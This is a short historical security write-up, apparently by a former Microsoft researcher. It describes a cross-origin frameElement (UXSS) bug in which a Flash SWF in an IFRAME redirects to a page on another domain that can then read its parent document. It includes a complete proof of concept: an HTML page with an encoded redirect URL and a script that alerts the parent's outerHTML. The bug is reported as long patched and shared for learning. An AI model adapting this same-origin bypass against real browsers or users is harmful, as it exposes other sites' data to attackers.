The same frameElement UXSS pattern works with a Flash SWF file as the bridge. Loading a SWF inside an IFRAME that redirects (via getURL) to a different-domain HTML page gives that HTML access to frameElement. The SWF acts as an origin-neutral intermediary, just like XAML and XML.
index.html:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><title>xDom_SWF_frameElement</title></head>
<body>
<center>
<font face="Tahoma" size="2">
<h1>xDom_SWF_frameElement</h1>
Very simple crossDomain using a swf file as a "bridge" to get the frameElement:<br /><br />
</center>
1) Load a <b>swf</b> inside an IFRAME. <font color="red">It doesn't matter if it is or not in a different domain</font>.<br />
2) That swf redirects (GetURL) to an HTML <u>in a different domain</u>.<br />
3) The HTML is able to read the frameElement with no restrictions at all.<br />
<br /><br />
<center>
<!-- Yes, you must use %2e instead of dots because the Flash is dumb (or maybe I am)
and does not redirect well if there are more than two dots-->
<iframe src="I_CAN_BE_IN_ANY_DOMAIN.swf?REDIR=http://www%2eiframe%2ecom/crash/20/I_SHOUD_BE_IN_A_DIFFERENT_DOMAIN%2ehtml" width="400" height="200"></iframe><br /><br />
</center>
</font>
</body>
</html>I_SHOUD_BE_IN_A_DIFFERENT_DOMAIN.html:
<script language="JavaScript">
alert(frameElement.ownerDocument.body.outerHTML);
</script>The SWF reads a REDIR query parameter and calls getURL to navigate the IFRAME to that URL. The dots in the target URL are encoded as %2e because Flash’s URL handling was unreliable with multiple dots. The resulting navigation leaves frameElement accessible in the cross-origin HTML, exactly like the XAML and XML variants. This entry contains a compiled .swf file.
Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.